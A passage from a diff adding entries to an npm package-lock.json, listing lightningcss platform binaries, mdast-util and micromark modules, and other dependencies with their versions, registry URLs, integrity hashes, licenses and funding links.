"MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-musl": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.32.0.tgz", + "integrity": "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-gnu": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.32.0.tgz", + "integrity": "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-musl": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.32.0.tgz", + "integrity": "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-arm64-msvc": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.32.0.tgz", + "integrity": "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-x64-msvc": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.32.0.tgz", + "integrity": "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/longest-streak": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", + "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lucide-react": { + "version": "0.563.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.563.0.tgz", + "integrity": "sha512-8dXPB2GI4dI8jV4MgUDGBeLdGk8ekfqVZ0BdLcrRzocGgG75ltNEmWS+gE7uokKF/0oSUuczNDT+g9hFJ23FkA==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/markdown-table": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz", + "integrity": "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/mdast-util-find-and-replace": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.2.tgz", + "integrity": "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "escape-string-regexp": "^5.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.3.tgz", + "integrity": "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark": "^4.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-3.1.0.tgz", + "integrity": "sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ==", + "license": "MIT", + "dependencies": { + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-gfm-autolink-literal": "^2.0.0", + "mdast-util-gfm-footnote": "^2.0.0", + "mdast-util-gfm-strikethrough": "^2.0.0", + "mdast-util-gfm-table": "^2.0.0", + "mdast-util-gfm-task-list-item": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-autolink-literal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-2.0.1.tgz", + "integrity": "sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "ccount": "^2.0.0", + "devlop": "^1.0.0", + "mdast-util-find-and-replace": "^3.0.0", + "micromark-util-character": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-footnote": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-2.1.0.tgz", + "integrity": "sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.1.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-strikethrough": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-2.0.0.tgz", + "integrity": "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-table": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-2.0.0.tgz", + "integrity": "sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "markdown-table": "^3.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-task-list-item": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-2.0.0.tgz", + "integrity": "sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-expression": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-2.0.1.tgz", + "integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-3.2.0.tgz", + "integrity": "sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "ccount": "^2.0.0", + "devlop": "^1.1.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "parse-entities": "^4.0.0", + "stringify-entities": "^4.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdxjs-esm": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-2.0.1.tgz", + "integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==", + "license": "MIT", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-phrasing": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz", + "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-hast": { + "version": "13.2.1", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.1.tgz", + "integrity": "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@ungap/structured-clone": "^1.0.0", + "devlop": "^1.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "trim-lines": "^3.0.0", + "unist-util-position": "^5.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz", + "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "longest-streak": "^3.0.0", + "mdast-util-phrasing": "^4.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "unist-util-visit": "^5.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz", + "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", + "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz", + "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-destination": "^2.0.0", + "micromark-factory-label": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-title": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-html-tag-name": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-3.0.0.tgz", + "integrity": "sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==", + "license": "MIT", + "dependencies": { + "micromark-extension-gfm-autolink-literal": "^2.0.0", + "micromark-extension-gfm-footnote": "^2.0.0", + "micromark-extension-gfm-strikethrough": "^2.0.0", + "micromark-extension-gfm-table": "^2.0.0", + "micromark-extension-gfm-tagfilter": "^2.0.0", + "micromark-extension-gfm-task-list-item": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz", + "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==", + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-footnote": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz", + "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-strikethrough": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-2.1.0.tgz", + "integrity": "sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-table": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.1.tgz", + "integrity": "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-tagfilter": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-2.0.0.tgz", + "integrity": "sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==", + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-task-list-item": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-2.1.0.tgz", + "integrity": "sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-factory-destination": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz", + "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-label": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz", + "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-space": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-title": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz", + "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-whitespace": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz", + "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-character": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-chunked": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz", + "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-classify-character": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz", + "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-combine-extensions": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz", + "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-chunked": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz", + "integrity": 